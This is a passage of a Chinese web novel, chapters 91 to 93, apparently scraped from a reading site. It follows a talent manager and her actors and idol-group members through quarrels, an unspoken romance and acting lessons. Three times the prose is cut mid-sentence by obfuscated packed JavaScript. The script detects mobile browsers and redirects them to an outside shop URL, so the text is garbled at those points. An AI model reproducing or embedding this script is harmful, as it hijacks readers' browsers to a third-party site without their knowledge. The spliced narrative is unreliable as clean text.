说到这话时,几人刚进了大厅。 宫欢随手将包往旁边的茶几上一丢,转过身一把拽过正将身体重量压在甘惊鸿身上的萧子重,她拽着人衣领扯至面前,劈头盖脸地一通骂: “刚才开车,我不跟你吵架,但是萧子重你别给脸不要脸,要不是我你现在还在路边喝西北风呢,平时你逼逼赖赖也就算了,我大人不记小人过,懒得跟你计较,但是你敢说我不负责任?” 她嗓门大,正面攻击令萧子重耳膜难受。 宫欢越说越起劲,借着力气将萧子重扔至沙发上,横眉竖眼地叉起腰,活力满满,精气神旺盛: “你也不去打听打听,我,宫欢,业界知名金牌经纪人,谁见了我不给我三分薄面?你算哪路土鳖敢教我做事?我要是不负责任你现在早就被我卖去拍兴奋剂广告了!” 萧子重一路上被晃得还没缓过来神,软绵绵的手撑起身体摇了摇头,一边扶着头一边犟嘴: “要是今天我没有去找她,这中间发生了其他的意外,你担得起这个责任吗?你以为你手眼通天,什么都在你的掌握之中,那为什么她还会一个人在那么偏僻的地方那么久!?” “我要说多少遍!”宫欢绷紧了脸,抱臂走至萧子重身前,想伸脚踹他,被萧子重就地一个滚地躲开了,“你们那么多人我看得过来吗,你们有手有脚,跑出去浪到哪儿去我怎么知道,我又不是你妈!” 两人你一句我一句的吵着,甘惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126381|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿默默缩起脖子在门边罚站,她不敢吭声,怕一插话两人会吵得更厉害。 吵着吵着,忽然开始翻起了旧账。 “我当初就不应该听你的忽悠,衣服都没收拾就跟你走了!”萧子重气冲冲地叫嚷。 “哦哟,是啊,也不知道是谁电费都交不起,”宫欢阴阳怪气地接话,“还是我——” 此刻,萧子重的反应前所未有的快,电光火石间,他一个鲤鱼打挺从地上起来,大迈步上前,伸手一下捂住了宫欢的嘴! 宫欢被人手动封口,她震惊地瞪大了眼睛:居然,有人,敢捂她的嘴??他想死了!! 只见萧子重窜到了宫欢身后,反手捂住了她的嘴,而宫欢两手死死掰着萧子重那缠着纱布的两根手指。 一个痛得面色发红发涨,一个恨得咬牙切齿,但凡萧子重敢松开手,宫欢就能把他手指咬下来。 “你说这些干什么!”萧子重忍着痛意在宫欢耳边小声说,他看了看门口罚站的甘惊鸿,低声劝,“别在这多说了,走,我们私聊!” “唔唔唔!!唔唔!!”宫欢一个字都说不出来。 “知道了,你想弄死我,等下再说,别让小甘误会我们内讧,”萧子重将宫欢的嘴捂得更紧,朝甘惊鸿露出个大汗淋漓、面色铁青地笑:“我和你欢姐有话单独谈,你早点休息——啊!早点休息!” 说到一半,宫欢不知怎么做的,居然用牙咬住了萧子重手心的一块肉,他嗷的一声,又连忙闭上了嘴。 甘惊鸿担忧地看着两人剑跋扈张的氛围:“你们会好好谈吗?” “唔唔唔(会个屁)!”宫欢两眼冒着火。 “她说会,哈哈,我们当然会了,”萧子重扭曲了宫欢的话,又被人狠狠咬了下,他倒吸一口凉气,拖着宫欢强行往楼上走,边笑着和甘惊鸿说安抚的话,“快去休息,今天折腾了那么久肯定很累了,晚安,好梦。” 甘惊鸿就那么看着被拖走的宫欢,眼神像刀子,死死瞪着捂嘴的萧子重,她默默咽了咽口水—— 为前辈默哀。 - 二楼。 确保两人消失在甘惊鸿的视野,萧子重才慢慢松开了手,同时还不忘了埋怨宫欢:“你刚才说那么多干什么,那些旧账别乱翻。” 他手指还缠着纱布,这会见了血——可见宫欢咬人下了死嘴。 宫欢不语,只是冷冷盯着萧子重,摸出手机拨通了电话。 萧子重不明所以:“你给谁打?” 嘟嘟嘟,电话接通。 “英子,”宫欢立刻接上话,“有兴趣参与混合双打吗,对,对,目标是萧子重——” 没等宫欢说完,萧子重一把夺过手机,迅速挂断了电话,他惊魂未定地失声大叫:“你给英神添什么乱,我们两个的私人恩怨私了还不行吗!?” “不、行,”宫欢仍在气头上,冷着脸,眼里的火能烧死人,“你不死,不足以平我的火。刚才好好的你还敢捂我的嘴,怎么,心虚了,怕被人知道你一无所有?” 萧子重没由来地心虚,也没了刚才质问宫欢的架势,气势弱了不少。 他此刻非常狼狈,折腾了一头的汗滴,两根手指缠着纱布,头发凌乱,因为一路的漂移现在胃里还翻涌着。 但他就是非常清醒,不想让宫欢知道原因。 宫欢见他也不扯着大嗓门叫了,眯着眼睛打量他,仿佛下一秒就能看清楚萧子重隐藏的秘密,她恍然大悟地噢了一声:“你该不会是——” 萧子重心虚,萧子重挠头,萧子重看天看地。 “——不想还钱了吧!” “......”高估她了。 大晚上几人闹腾的动静不小,尤其是宫欢和萧子重对骂的声音,即使房间隔音好,但也阻挡不了有心之人的关注。 奚亭云的门没关,从宫欢到家又外出时,他就一直惦记着她。 好在没多久人回来了,可几人一进了门就吵得凶,奚亭云不便出现。 直到,他看见萧子重捂着宫欢的嘴,来到了二楼走廊。 ......他们很熟吗? 什么时候,萧子重和她走得这么近了? 奚亭云心里很不是滋味,他索性直接推门出去,直愣愣撞上两人后也不躲闪,像是平常聊天似的问:“你们在这聊什么?” 突然又出现一个人,萧子重只以为自己的秘密快要遮不住了,他急急忙忙地说:“没,没什么,我们就随便说了点工作的事情,那个,时间不早了,我先去睡了,改天聊!” 说着,萧子重找借口闪人,临走前,还不忘了给宫欢一个“保密”的眼神。 宫欢默默翻了个白眼,很想把人拽回来再狠揍一顿,但时间确实不早了,大晚上生气对身体不好,她反复劝了自己几遍。 应酬了一天,晚上还要去找人,宫欢早就累了。 她转头看了眼奚亭云,没多说什么,像是同一屋檐下的室友,对他点点头算作打招呼,便准备上三楼回房间休息了。 奚亭云追了她一步,上前拉住了她的手臂,放轻声音,像是在撒娇:“欢欢......” 这会没人,奚亭云胆子也大了。 他从背后靠近,两手环至她手臂的位置,不敢再多过一寸,身体靠近着,俯下身,下巴轻轻压在她肩上。 “你们刚才吵架了吗?” 宫欢有点疲于应付,她抬起手臂微微挣扎了一下,使得奚亭云的动作僵硬住。 “今天很晚了,我想休息,有什么事明天再说,好吗?” 十分公式化的回答,连态度,眼神都非常的疏离,像是前段时间的那些让人心动的时刻从未发生过。 还是说,那于她而言,只是生活中十分微不足道的一点调味品。 奚亭云有些无法承受她这样的忽冷忽热,忽远忽近,但他早已磨练出来了耐心,面对宫欢的疏远,他也只是抿着唇勉强扯了个笑:“好,你先休息。” 宫欢眼皮沉重,只是点点头,转身往三楼去了。 奚亭云始终站在原地,没等来他想要的东西。 到底是哪里不对? 他最近没有做错什么,甚至还在有意保持距离,防止宫欢嫌烦。 他并不知道,他们现在算是什么关系,明明她知道他的心思,她也纵容他的所作所为,可怎么没有像电影中那样,一段恋爱便顺利的进行了下去。 不是互通心意就可以相爱了吗? 也对,是奚亭云将一切想得太简单了。 欢欢的态度其实并不明显,她只是不拒绝,不明确,她在等什么呢? 奚亭云有些想到了很久之前的一场对话,那是高姐说的:“她很在意这次的成果。” 对了,她在等成功,在一切未达到她想要的结果前,奚亭云可能是得不到明确的回应的。 这点不但没使奚亭云感到失落,反而令他更笃定。 这才是他认识的、喜欢的宫欢,不是吗? 91. 柠檬 别墅的大厅这段时间像是成了奚亭云、萧子重、安声三人的地盘。 三人随处可见,有时候四仰八叉地占着沙发;有时是几人在餐桌上争抢那点新鲜蔬菜;有时是两边的楼梯扶手一边晒了一个人。 初舞台过后,他们接了几个平平无奇略有些奇葩的广告代言,之后就再也没有任何商业活动了,更别说舞台活动。 宫欢总是说,等等,再等等,等风波过去,等热度降低,等她创造机会。 三人听了一遍又一遍,早就耳朵起茧子了,可除了相信宫欢,也没有别的办法。 反观演员们这边倒是人人正在上升期,赵莉莉接到好剧本,关清英正在蓄势待发,甘惊鸿的电影正在上映,人不知不觉地又进组了。 众人里,萧子重是最后知道的。 而当他知道甘惊鸿这部戏出演的角色和之前的大相径庭时,震惊不已。 甘惊鸿这回进组走得仓促,大概是拍完运动广告没几天就连夜带着行李走了。 萧子重只能从其他人口中问出一些情况。 “嗯...”据安声说,“我听高姐和欢姐聊起过,说这回的角色是甘姐主动去争取的,本来欢姐想继续给她找一些好资源,但是甘姐说她现在很缺磨练,现在正好有机会磨练了。听说这个角色非常有挑战性,完全颠覆她的形象,表演有深度——” “等等等等,”萧子重打断他,迫不及待地想知道具体情况,“你就说你听到的角色是什么人物就好了。” 安声被打岔,思路突然有些断了,边回忆边说:“好像是个——” “这个剧组里面怎么样。” 门口传来一道声音,再次打断了安声,这声音他们天天听,早就闻声识人了,一抬头,果不其然,是正拿着手机视频的宫欢。 她边打视频电话边进了门,手机屏幕上出现一个穿着红绿花袄,头戴布巾的黢黑农村女人。 “非常好,我们现在到了黄土高坡,正在准备拍结尾的戏份呢,这还是我进剧组的第一场戏,我心里好慌啊。” 萧子重听见这声音一下从沙发上跳起来,冲到了宫欢身边。 手机画面的方块视频里一下挤入了半个身体,萧子重的脸忽然出现,他惊讶地看着视频那头无法辨认出来的甘惊鸿:“你,你这次演得是农妇吗?” 宫欢被人强行插话,不耐烦地往旁边瞥了一眼。 她将手机倾斜角度,大部分的镜头都对着萧子重,而她的身体反倒只剩了半边留在画面中。 “不不不,前辈,”只见甘惊鸿凝重地锁起眉头摇摇头,非常深刻地说,“这次的人物角色是一位有深度,有人物完整度,有高光,有低谷的一位伟大女性——” 宫欢最后索性将手机塞给萧子重,退出群聊,默默走到厨房准备倒杯水喝。 刚好奚亭云也在倒水,顺带给她倒了一杯,两人靠着餐桌闲聊几句: “最近训练怎么样?” “还算顺利。” “那就好。” 还是这样。 宫欢不冷不淡的态度让人无法揣摩。 奚亭云喝下一口柠檬水,只觉得口中苦涩比酸多。柠檬水是她定下要每人都要喝的日常美白水,奚亭云刚开始不太能接受得来柠檬水中的酸、甜、苦。 酸永远占据最多,其次是苦,涩口,涩喉,味道常在舌根久久驻留,而甜味在其中如此浅淡,淡到要去感受酸和苦,努力在其中找到甜味。 他又喝了一口,透过微晃的、清澈的杯中水,看见宫欢有些受不了萧子重抱着手机准备一直聊下去的模样,强行去拿回了手机,还当着他的面挂断视频——嚣张又理直气壮。 “你要聊拿自己的手机去啊,我还要忙工作呢。”宫欢说。 萧子重一下闭了嘴,心不甘情不愿地回到了沙发上,继续躺尸,从百无聊赖地躺,变成心事重重地躺。 奚亭云放下水杯,看宫欢上了楼。 他略作思索,果断拿起放在旁边的手机,在微博后援粉丝群里发去了一条消息...... - 宫欢回到卧室后将自己一下丢在床上。 她摆着手指算:“赵莉莉这部戏估计要拍个三四个月,甘惊鸿这个不确定,英子最近状态不怎么好,要好好调整一下,就剩这三个了,得想办法把闲置人员利用起来啊!” 不是手上没有资源,而是没有好资源。 宫欢有些烦躁地抓了抓头发,将包里的四五部手机全都倒在床上,全都打开,一个个找到微信联系人,或是电话联系方式。 有些金主要通过助理才能联系上,有些则不常用微信,只有电话才能联系得上,有些则就更麻烦,电子通讯联系不上,要登门拜访才能行。 而和演艺圈相关的一些宴会活动宫欢都不会推掉,能去都去,一个不挑。 毕竟说不准就能拿到好资源,这就导致她非常忙碌,而手底下人因为没活动闲下来。 像关清英赵莉莉她们经历过大起大落起起伏伏的独立稳重的人,即使短暂地陷入没有工作安排的情况,也会给自己一些调整心态,输入生活的状态,做好备战准备下一次机会。 而男团三人心态还很幼稚,远远没有经过沉淀,非常沉不住气。 当然奚亭云的状况看似好一些,不过宫欢从他想上位这一点能看出来——都是装的。 感觉压力有点大,宫欢照常登上微博,想随机挑选幸运观众回怼来发泄一下压力。 结果看了一圈,没几个值得她骂的,翻着千篇一律的骂人评论,宫欢叹气摇头:“没一个能打的,没意思。” 她看到私信消息里面有之前新星晚宴的艾特,于是去公式化的评论了两句,转发了微博海报图。 习惯性地看了看微博私信页面。 宫欢发现之前关注的‘宫欢超话’里有一些动态提醒: #新星晚宴超绝高清4K图放送! #欢欢carry全场! #新欢生图放送!! 宫欢纯是带着好奇地点进了超话。 置顶的精华帖子里面,十几张图的前九张中,都是她参加新星晚宴的高清精修图,有一些让宫欢眼熟—— 她眼神偏移开手机界面,回忆起之前的某个画面,那位卑微且小心翼翼的粉丝将手机递至她面前,正是这些照片。 宫欢回过神来,往下翻找了一阵。 她好像早就给这位粉丝说过,随便他发照片,但好像一直都没发出来,怎么这两天发了? 能在超话里面流传,应该是他授意了其他粉丝可以转发。 宫欢回到私信列表,找到置顶的一个消息框,还是熟悉的99+消息,最近的一条消息是...刚才发的? 从机场分别后,宫欢就不怎么联系这位粉丝了,她有一堆事要忙,怎么会时时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宫欢:【有活动的话我会提前告诉你们。】 宫欢:【有空再聊。】 她说有空再聊。 她说会提前告诉他。 与之前刚开始的躲闪不同,好在她不是讨厌他的,他极力自证,努力争取到了一次接机机会,才终于让宫欢正视他的粉丝身份,不再那么排斥了。 还好。奚亭云一直提心吊胆,现在终于全部落了回去。 不过有一点奚亭云更是可以确认——宫欢确实听了他的话,一直没有看那封信。 否则,她应该不会是这样的语气回复他。 奚亭云感到欣慰,她尊重他,可仔细想想,又觉得不满足。 以她想做就做的性格,就这么因为“他”的一句话而遵守约定,不打开信封。 到底是尊重,还是根本不在意? 他想让她打开信封。 那样一切就戛然而止,世界开始翻天覆地,她会让他走吗,还是会觉得不敢置信,害怕,远离,等等等等——不敢细想。 那还是不要打开看。 至少一切都还能维持现在的状态,他一边可以近距离地接触她,一边可以不停地发消息对她诉说喜欢。肆无忌惮。 好像他只有隔着手机屏幕,隔着口罩,通过种种掩饰才能表露想法。 什么时候,他才能看着她的眼睛,将所有想法无所顾忌地倾诉出来,那一天还要多久。 奚亭云不想等了。 92. 表演 从B市怀旧之旅回来后,奚亭云报了格斗、拳击、泰拳、巴西柔术等武术内容,最近的新舞排练结束之后,他无缝衔接地去练习武术,其次是健身,表演课。 表演课本是宫欢为了甘惊鸿请来的,想让她多通过技巧表演,减少个人情绪化表演。 不过甘惊鸿的野兽派演戏法的路子不是一般人能接得住的,表演老师也就和甘惊鸿对了两回手,就举手投降,让甘惊鸿放过她。 电影学院的十几年表演老师对宫欢说:“这孩子天赋异禀,我教不了,只有让她自己摸索。” 宫欢:“......”这是没救了。 老师都请来了,不能让人无功而返。 宫欢索性让奚亭云几人有空来磨练一下演技,以后她会让几人跨界发展,德智体美劳唱跳演戏样样来,至于行不行,到时候看吧。 奚亭云结束武术训练后,便是表演课老师的时间。 萧子重演了多年话剧,表演方式和电影学院不同,他不屑来学习模板化的表演;而安声则对表演的兴趣不大,专心研究新舞编舞。 以至于大到空旷的教室里,暂时就只有一个老师和一个学生,比较奢侈。 奚亭云前段时间常买关于戏剧表演类的书籍看,他对表演有些特殊的感觉,与唱跳不同,这些是他会去完成的事情,但表演,是他想去了解深入的一个爱好。 表演老师非常专业,将‘声台行表’四项划为必学课程。 声为声乐:从台词的抑扬顿挫,语言发声的性格凸显技巧,还有按照音阶练习字音的发声等等。 奚亭云播音专业出身,虽然学校辣鸡,学得多是主持红白喜事,但也多少有了点基础底子。台词经过训练后,比不上萧子重,却也超过不少流量明星。 接着是台词:如何让自身与人物融为一体,将角色的形象立得更稳更真,包括情绪感染力。 这点对奚亭云来说比较难,他声色虽好,可感染力一般,让声音带上情绪就更难了。 老师教了他不少技巧——比如对着门大声嘶吼、痛哭,让声音和情绪一起迸发,他痛苦,声音就痛苦,他快乐,声音就是上扬而喜悦的。 表演课程进行期间,别墅里面时常回荡各种鬼哭狼嚎。 众人都习以为常。 有人一担心,萧子重便习以为常地摆摆手:“释放天性呢,不用担心。” 再就是形体:人的身姿体态,肢体的举止动作,每个行为都要与人物有联系,小到面部肌肉,大到拥抱等等,各种动作对应什么人物,什么性格,都要一一表达出来。 这就非常考验一个人的阅历,而奚亭云恰好有足够的阅历。 他在最繁华的夜市做炒饭,来来往往的人形形色色。 奚亭云善于观察,他能捕捉人的微表情,从一个人的动作肢体来猜测,是不耐烦还是可以等一份热气腾腾的炒饭,奚亭云都看得出来。 他在最底层做过各种工作,接触过的虚伪的、真实的人数不胜数。 按理说经过这么多的磋磨,他早该学会能言善辩,识人眼色。 可都没有。 他并非不懂圆滑世故,而是不想世故。 最后是表演。 讲到这里,奚亭云问:“表演不是全部概括的意思吗?” 老师说:“它既包含一切,又是要单独来说明的一项内容。表演不止是你的演技,它要你有充足的感受力,判断力,要有透彻的眼睛去选择作品,理解你要表演的人物,理解剧本,理解故事,而理解之后,你还要去表现出来,这就涉及到了你的一个思考。” “如何分析角色,分析剧本里的台词剧情的每个阶段对人物的作用,完成你对角色的构思,这才是全部的表演。” 思考。 奚亭云确实在思考了,他在努力理解老师说的这些话。 看来表演不像是他看得那么简单,往那里一站,说是谁就是谁了。 你要让别人相信你是谁,怎么才能让别人相信,那当然就要去不断地塑造,通过种种的细枝末节。 学了表演之后的一段时间里,奚亭云常常走神发呆,陷入到自己的思考中。 表演老师说,入戏最快的办法就是沉浸。 让自己去代入角色,角色的失去就是他的失去,角色的爱意就是他的爱意。 其次则是借用自己的情绪,进入角色的情绪。 譬如角色痛苦,他可以先想到自己的痛苦,然后转接过去,让两重痛苦重叠才更有感染力。 老师给他布置的第一个表演作业是——演出失去爱人的痛苦。 这有点难。 奚亭云最近都在想这个作业。 老师以为他在为难没有爱人这一点:“在体会失去爱人前,你一定要先体会爱,那样失去才会更彻骨铭心,并不是说你没有爱过人,就不能演情侣,没有坐过牢就不能演犯人,这些都需要你去学会观察。” 奚亭云却摇摇头:“我不是在为这个纠结。” “那你在愁思苦想什么?” “我无法想象失去的痛苦。” 表演老师的神情略微一怔,她没想到会是这么个回答。 表演很多时候和心理学有异曲同工之处,老师看着奚亭云片刻:“你在害怕失去吗?” 也许是。 尽管奚亭云还没有得到过爱,但他却已经在害怕了。 时时刻刻,提心吊胆。 老师没有给他太大的压力,而是让他顺意而为,她以为奚亭云并不清楚爱人的感觉,特意给他很多时间去搜集素材。 奚亭云也确实去找了许多电影去看。 他知道该如何喜欢一个人,但那远远达不到爱的地步。 这两者的区别很大,许多人总容易将两者弄混,包括奚亭云,有时候他也会觉得自己的喜欢与爱无异。 可他又想,他的爱给宫欢带去了什么呢? 好像什么都没有,那又怎么能算得上是爱? 卑劣如他,那些小心翼翼,不敢摊在太阳底下的喜欢,怎么能妄言是爱。 学习表演的时间里,他为了投入情绪中,刻意躲了宫欢几天——果不其然这几天他焦躁得厉害,心始终无法安定下来,像是找不到支点。 奚亭云维持这样的情绪来到表演老师面前,开始完成他的作业。 老师给的范围很大,只说了主题,没有限制其他的。 于是奚亭云便按照自己的想法来发挥。 先是从肢体来,他驼背弓腰,摇摇晃晃地走了两步,便踉跄着摔倒在地。 身体的力气像是被抽空了,他费力地撑起身体,抬起头——嘴唇无意识地颤动,眼眶一霎那红得厉害。 他两眼发怔,直直地看着前方的空气,像是发现了无法接受的事情。 没有台词,奚亭云也说不出来一句话,他只是想到——宫欢离他而去了,就觉得大脑嗡得被血液灌满,感官陷入无声的海水中,世界是死寂的,他也跟着死去了。 他蜷缩着跪在地上,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126383|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深深低了下去,重重磕在地板上,情绪开始宣泄。 先是哽咽,喉间的空气被挤压出来,他咳呛两声,接着是持续性的呜咽,身体随着哭泣而颤抖,他始终不愿意抬起头,死死将头埋在阴影里。 老师安静地站在一边,不忍打断这个过程。 她不知道该说奚亭云太有天赋,还是太过投入,也许两者都有,只是一段时间的表演课,便能让他达到这种地步,说是天赋异禀也不为过。 他又动了。 奚亭云攥成拳的两只手,慢慢从地上挪到胸口前,他捂着心口,哭声也愈发激烈,演变为嚎啕大哭。 他侧翻倒地,额头渗出了汗,仰面朝天,连绵不断的泪水黏糊在脸上,眼睫粘连在一起,好不狼狈,嘶鸣般的哭声悲痛而绝望。 让人听了不忍,心口也跟着一阵阵的抽痛。 老师也有点难受,只能靠深呼吸来缓解。 她想打断他,第一份表演作业奚亭云已经得了满分。 但哭声实在可怜痛苦,老师都有点不忍心。 地下室的回音传得很远。 哭泣的声音愈来愈大,宫欢准备走进健身房的脚步硬生生拐了个弯,循着哭声的方向走。 最近好像是经常听见一些鬼哭狼嚎。 别墅里没人说,宫欢也就当做没听见,想着可能又是谁在拉伸身体了吧。 可拉伸不是一般都在健身室吗? 宫欢疑惑地往舞蹈训练室那边走,地下室目前开放的除了健身房就只有舞蹈室了,排舞有什么可鬼叫的? 走得近了,宫欢透过玻璃幕墙看见了里面哭得泣不成声的奚亭云,像是经历了悲痛欲绝的痛苦,眼圈红得厉害,哭的时候,身体抖颤不停。 宫欢一下被这样情绪外放的奚亭云吸引住了视线,甚至忘记了往旁边移一下视线,就能看见她请来的表演老师。 她见过炒饭的奚亭云,见过卖可怜的他,见过在舞台上耀眼的他,更见过没日没夜刻苦训练的他,可他从没有抱怨过一次,更别说哭了。 好吧,上次因为宫欢胡闹也哭过一次。 那这次是为什么? 还这么撕心裂肺,像是失去了什么。 宫欢脚步放慢,最后停下,站在距离门口几步远的地方。 房间里面,躺在地板上的人缓和了情绪,哭泣不再是揪心的,而转变成了无声的落泪。 喉咙一阵阵的发痒,奚亭云剧烈的咳呛好几下,他撑着身体爬坐起来,头有些晕眩,哭得头昏脑涨,晃头时,一眼瞥见站在外面的人。 活生生,鲜活俏丽地站在那看他。 她眼里的情绪十分复杂,大概对上了他过分模糊肿胀的双眼,有些被吓到,怔怔地愣在那看他。 奚亭云同样直直地看着她,久到眼睛发涩发酸,外面的人朝他旁边看了一眼,意识到什么,才松懈地笑笑,朝两人摆了下手,往后退了几步,转身走了。 人走了好一会,奚亭云才恢复过来,闭着眼睛缓和不适感。 他渐渐地从情绪中抽离出来,回到奚亭云本身的那一刻,宫欢刚才的影子紧紧的烙印在他的脑海里,如此深刻,如此忘怀。 表演老师见他好了不少,轻声鼓励:“你刚才的表现非常不错,很有感染力,第一次就有这么充沛的情感,你很有天赋。” “不是我。” “什么?” “不是我有天赋,”奚亭云说,他又将视线望向刚才站着人的地方,“那是她给予我的情感。” 93. 草莓音乐节1 X男团的舞台初演经过一段时间的发酵和宫欢的营销后,吸引了一些粉丝。 宫欢特意做了些营销套路,X男团前有‘书店侧影’,后有‘路透对比神图’,初舞台更是一跳成名,利用这些特点,宫欢与外包公司合作,按照她的方案来营销。 粉丝不多,但也算是近期内小火的男团了。 只是口碑一般,黑粉比真粉多。 宫欢掐着时间算,离初舞台过去有段时间了,陈闪闪的TXT男团那边都开始出席各大商演活动,频繁露面了。 嗯,互联网更新了。 初舞台过后,她只让三人继续训练,偶尔给他们接个无伤大雅的广告,很多时候三人都处于不稳定的状态,有时候挑刺找茬跟宫欢吵架也是经常的事情。 临近夏季,各大音乐节主办方逐步开始宣发活动,宫欢已经收到一些业内人士的提醒,有一两次还看见音乐外包公司转发的音乐节活动海报。 让他们三个在家闲着也是闲着,宫欢想,干脆把人放出去多接活动露露面,还能多吸点粉。 说干就干,宫欢联系了音乐人李云晴,特意向她打听消息。 最近因为新曲的节奏问题,安声倒是经常往李云晴那边跑,两边来往较多。 宫欢刚发消息过去,不多时,李云晴便发来了一连串的音乐节活动——什么草莓音乐节、新青年音乐节、暑夏音乐节等等等等,大大小小的音乐节统计起来有四五十个。 宫欢回了句谢后,仔细翻了翻排在前十名的音乐节名单。 前十名音乐节是较为出名,受众广泛的存在。宫欢将节目组名单都看了一遍,歌手基本都是受到瞩目的新生代歌手或乐队等等。 在没有正式的商演舞台前,能有露面的机会无论是什么都要把握住。 宫欢觉得,安声他们也会是这么想的。 于是她先问了几个业内人士——哪几个音乐节的含金量高,年轻人多,热度高。目前最有话题度的还属草莓音乐节,有十几家品牌方支持,邀请的明星都比较火。 问是问到了,只是宫欢要怎么搭上线? 男团初出茅庐,还是黑红,再加上同样黑红的宫欢,很少有人敢顶着被骂的风险邀请他们。 只能走后门了。 宫欢继续厚着脸皮给李云晴发消息:【漂亮姐姐,最近能赏脸吃个饭吗?】 发完消息后,她将消息点击复制,依次发给了飞飞牛奶品牌方负责人陈焰、敢说敢言节目组牛导等人。 主打的就是不在一棵树上吊死。 但令宫欢头疼的是—— 李云晴:【带上你家主C一起来,一块聊聊。】 陈焰:【漂亮妹妹的邀请,当然可以啦。】 牛导:【时间,地点。】 这下好了,三棵树都要她。 宫欢默默选定了三天的时间发给几位大佬,顺便让高姐把这些饭局加进行程表里。 高姐只回了一句话:【你疯了?上午飞B市,下午飞A市,晚上还要组饭局?】 宫欢欲哭无泪,她也觉得自己要疯了。 没办法,谁让她是顶梁柱呢。 - 甘惊鸿这回杀青的很快。 她两手提着天蓝色的行李箱,两只手的手背被浅色衬托得更是发黑。 司机师傅将她行李都拿下来后,爽快道:“大妹子你亲戚家挺有钱啊,特地来城里投奔她们啊?” 甘惊鸿还是扎着一条斜麻花辫,只是比起几个月前,肤色黑了几个度。 她愣了一下,随即点头,用有些北方的口音道:“诶诶对!” 等司机走后,她拎着行李箱走进别墅。小助理收到了甘惊鸿的消息出来接她,结果刚照面就被人吓到。 “你,你!” 小助理瞪大了眼睛,扶着眼镜仔细看面前这个——肤色又黑又黄,扎着麻花辫的人。一时间不敢认,但又从五官与眼睛里面才勉强辨认出了这就是半个多月前去剧组拍戏的女孩。 “小甘??”小助理还是不敢认,叫了她一声,“你,你怎么晒成这样了??” 甘惊鸿抿唇笑了笑,仍似之前的腼腆笑,可怎么看都透着一股淳朴的感觉。 她大剌剌将行李箱拉杆塞进小助理手里,自己则拎着一大包行李袋,双手借力一甩扛在肩上,中气十足地说:“哎呀,拍乡土剧嘛,肯定要晒黑一点才真实啊,好啦,快帮我拿上楼。” 说着,甘惊鸿扛着那一大袋行李如履平地地爬上了三楼。 行李袋中的物品重量看着比行李箱中的要重得多,箱子里多是衣服,助理拎起来轻飘飘的,没一会也拎上了三楼。 等甘惊鸿收拾完行李,准备下楼吃个午饭时,迎面碰上了排练完新舞的萧子重。 “前辈!”甘惊鸿乐滋滋地龇着牙和他打招呼,“刚训练完嘛?” 谁,谁在说话? 萧子重满身疲惫,大汗淋漓地晃到了餐桌旁边,压根没往旁边看——或许旁边有人,但他还没力气转头去看。 听到这熟悉的声音,他当即一愣,思绪在短短两秒间飞快刷屏。 ——她回来了? ——我怎么没看到? ——我怎么会没有第一时间看到? ——她真的回来了?我不是幻听? 刷屏的想法随着萧子重转头的动作一点点止住,直到他看清了面前的人。 从头发到手指都黑黢黢的,只有眼白和牙白,她笑得淳朴可爱,似乎还有些拘谨,不像以往的甘惊鸿。 萧子重足足愣了十几秒。 “你,怎么晒得这么黑?”萧子重下意识问出了这么一句话。 前段时间视频通话里的甘惊鸿虽然也黑,但萧子重没有多想,只以为是化妆加持,而且当时隔着手机屏幕,感官冲击不大。 现在人就在眼前,黢黑,萧子重刚才从外面进来几乎没看到这有个人...... 他只是意外地问了句,想到什么便问了出来。 可在甘惊鸿耳朵里就有点不对味,她原本笑嘻嘻的态度慢慢收敛起来,像是被人欺负了似的瞪圆了眼睛:“黑点不好吗?黑就不好看了吗?谁规定的我必须要白,我就喜欢黑肤色!” 她发起火来胸腔一起一伏的,像是充足了气的气球,不对,是煤炭球。 萧子重先是被她反问的话震住,脑子里还没转过来弯,忽的被她气呼呼的样子逗笑,没忍住笑出了声,只笑了一下,萧子重便立刻意识到气氛不太对,连忙抬手捂住嘴—— “我,我不是那个意思。” “你们男的都这样!!” 甘惊鸿气得跺了两下脚,地面震了震,她冷哼一声转身跑回楼上,显然非常气愤,临消失在楼梯口时又朝楼下懵逼的萧子重放了句狠话:“我讨厌前辈,再也不想理前辈了!” 说着噔噔噔跑回房间,砰得一声巨响关上了门。 餐桌旁还处在懵逼状态的萧子重更傻眼了。 他,他不是故意笑的啊! 他更没有笑她黑的意思啊!! 在别墅里所有人都被萧子重得罪过,甘惊鸿是他唯一没有拌过嘴吵过架的人,怎么今天连这唯一的人都被他惹生气了啊!!! 萧子重痛苦地抱住头跪地,仰天长嚎:“我真的真的不是故意的啊——谁来帮帮我!” 在甘惊鸿回来的这段时间里,众人都发现她和之前有些许不同。 人比之前更朴实,穿衣风格也偏短袖长裤的风格,而非之前爱穿小裙子的习惯了,再就是日常生活。 说起这个,男团三人深有感触。 据目击人士奚先生说:“嗯...她有点奇怪,健身的时候一边举铁,一边苦大仇深地看着镜子,嘴里还会说一些“我好惨”、“我好苦”之类的话。” 